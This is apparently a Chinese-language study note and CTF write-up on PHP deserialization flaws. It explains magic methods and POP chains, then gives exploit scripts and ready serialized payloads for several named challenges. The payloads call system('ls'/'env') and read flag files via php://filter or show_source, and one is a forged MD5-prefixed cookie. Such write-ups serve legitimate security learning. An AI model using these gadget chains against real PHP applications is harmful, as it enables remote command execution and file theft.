序列化 直接将对象数据转化成字符串或者二进制内容。然后进行存储
反序列化 将序列化之后的数据,重新转变为对象
对象在程序中运行时,他是内存中的一项数据。当程序运行结束之后,对象就会被回收,回收完,对象就没有了。
通过序列化将对象的状态,转变成一个具体的数据,保存到你的硬盘上
序列化过程,只保存了对象的数据。而对应的方法是没有保存的。
反序化漏洞 当PHP应用程序接收到未经验证的用户输入,并将其传递给unserialize()
函数时,就可能存在反序列化漏洞。攻击者可以通过精心构造的序列化数据来触发漏洞,从而在应用程序中执行任意代码或导致不良行为。
**简单来所就是:**通过控制 序列化之后的结果的值,实现控制程序运行时对象的变量的数据。从而实现攻击
攻击步骤
找到存在反序列化的传参点
找到存在高危操作的类 。将高危操作的类中的变量进行覆盖,从而实现危险函数的调用
魔术函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __construct() 对象创建时被调用 __destruct() 对象被销毁时调用 __toString() 方法用于一个类被当成字符串时应怎样回应 __sleep() 在对象被序列化之前自动调用(代码优先级比serialize()高),可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组 __wakeup() 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。 __set($property, $value) 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。 __get($property) 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。 __isset($property) 当 对 一个对象的不存在或不可访问的属性 使用 isset() 或 empty() 函数 时自动调用,传递属性名作为参数。 __unset($property) 当 对 一个对象的不存在或不可访问的属性 使用 unset() 函数 时自动调用,传递属性名作为参数。 __invoke() 当将一个对象作为函数进行调用时自动调用。 __clone() 当使用 clone 关键字复制一个对象时自动调用 __debugInfo() 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。 __call($arg1,$arg2) 在调用一个不存在的方法的时候触发,返回不存在的方法名称和参数 __callStatic($arg1,$arg2) 静态调用或调用成员常量时使用的方法不存在,返回调用的不存在的方法的名称和参数
传入的对象,能触发其他地方的一些高危操作,这个可能是 生命周期函数中的危险操作,也有可能是特殊功能函数中的高危操作
反序列化的入口点 unserialize()
构建一条调用链,只想目标危险函数(代码执行、命令执行、文件包含、变量覆盖、文件删除、文件上传)
A =》 B =》 C.eval()
题目 封神台
先找反序列化的入口点 unserialize()
unserialize在cookie传参处所以只看cookie就行
1 2 3 4 5 6 7 8 if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } }
代码分析
如果有cookie传入的todos参数,如果存在则继续执行下面的代码
$c = $_COOKIE['todos'];
:将 ‘todos’ cookie 中的值赋给变量 $c
。
$h = substr($c, 0, 32);
:使用 substr()
函数从 $c
中提取前 32 个字符,并将结果赋给变量 $h
。这部分被假定为哈希值。
$m = substr($c, 32);
:使用 substr()
函数从 $c
中提取从第 32 个字符开始的剩余部分,并将结果赋给变量 $m
。这部分被假定为数据。
if(md5($m) === $h){
:使用 md5()
函数对变量 $m
进行哈希运算,然后将结果与变量 $h
进行比较。如果两者相等,表示哈希值验证成功,继续执行后续代码。
$todos = unserialize($m);
:使用 unserialize()
函数将变量 $m
中的数据反序列化,然后将结果赋给变量 $todos
。如果哈希验证成功,这将导致反序列化操作。
1 2 3 4 5 6 Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } }
这段代码的作用是定义了一个 readme
类,其中的 __toString()
方法可以用于将指定文件(Readme.txt
)和对象的 $source
属性所指定的文件内容以高亮的形式返回为字符串。
1 2 3 <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?>
这段代码的作用是将名为 $todos
的数组中的每个元素输出为一个 HTML 列表项,适合用于显示待办事项列表等功能。
此时我们需要修改一下源代码,并且将其序列化,输出序列化结果:
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
对其进行md5加密然后拼接
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
url编码后放到cookie里面
[NISACTF 2022]popchains
Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Try_Work_Hard{ protected $var='php://filter/convert.base64-encode/resource=/flag'; } class Make_a_Change{ public $effort; } class Road_is_Long{ public $page; public $string; } $a = new Try_Work_Hard(); $b = new Make_a_Change(); $b -> effort = $a; $c = new Road_is_Long(); $c ->string = $b; $d = new Road_is_Long(); $d ->page = $c; echo "\n".serialize($d)."\n"; echo urlencode(serialize($d));
最终payload
1 O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
[SWPUCTF 2022 新生赛]ez_1zpop
Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class lt { public $impo ='hi' ; public $md51 ='s1836677006a' ; public $md52 ='s1885207154a' ; } class fin { public $a ="system" ; public $url = '1' ; public $title ="ls" ; } $a = new lt ();$a ->impo = new fin ();echo serialize ($a );
最终payload
1 O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:1:"1";s:5:"title";s:2:"ls";}s:4:"md51";s:12:"s1836677006a";s:4:"md52";s:12:"s1885207154a";}
[HZNUCTF 2023 preliminary]ppppop 刚进入一片空白
抓包,修改 admin 0=>1
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class A { public $className = 'B'; public $funcName = 'system'; public $args = 'ls'; } class B { } $a = new A(); echo serialize($a);
得出来的payload要先翻转,在base64编码
java脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.util.Base64; public class charTurnOver { public static void main(String[] args) { String hex = "O:1:\"A\":3:{s:9:\"className\";s:1:\"B\";s:8:\"funcName\";s:6:\"system\";s:4:\"args\";s:3:\"env\";}"; char[] hexArray = hex.toCharArray(); StringBuilder sb = new StringBuilder(); for (int i = hexArray.length-1; i >= 0; i--) { sb.append(hexArray[i]); } System.out.println(sb.toString()); String s = sb.toString(); String base = Base64.getEncoder().encodeToString(s.getBytes()); System.out.println(); System.out.println(base); } }
1 2 3 4 5 6 7 执行ls fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP 执行env flag在env里 fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==
[NewStarCTF 2023 公开赛道]POP Gadget 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
exp及思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php class Begin { public $name ; public function __construct ( ) { $this -> name = new Then (); if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __construct ( ) { $this -> func = new Super (); } public function __toString ( )// 4. func = new Super ( ) { echo "\n" ."yes yes !" ."\n" ; ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __construct ( ) { $this -> obj = new CTF (); } public function __call ($func , $vars ) { echo "\n" ."yes yes !" ."\n" ; $this ->obj->end (); } } class Super { protected $obj ; public function __construct ( ) { $this -> obj = new Handle (); } public function __invoke ( ) { echo "\n" ."yes yes !" ."\n" ; $this ->obj->getStr (); } } class CTF { public $handle ; public function __construct ( ) { $this -> handle = new WhiteGod (); } public function end ( ) { echo "\n" ."yes yes !" ."\n" ; unset ($this ->handle->log); } } class WhiteGod { public $func = "show_source" ; public $var = "file:///flag" ; public function __unset ($var ) { echo "\n" ."yes yes ! var = " .($this -> var )."\n" ; ($this ->func)($this ->var ); } } $a = new CTF ();$b = new Handle ();$c = new Super ();$d = new Then ();$f = new Begin ();echo "\n" .urlencode (serialize ($f ))."\n" ;
写的时候不知道为什么命令执行之后,死活查看不了根目录下的文件,写马也没写上去
在网看了一个wp之后,用文件读取的方法找到了flag
payload 1 O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A11%3A%22show_source%22%3Bs%3A3%3A%22var%22%3Bs%3A12%3A%22file%3A%2F%2F%2Fflag%22%3B%7D%7D%7D%7D%7D%7D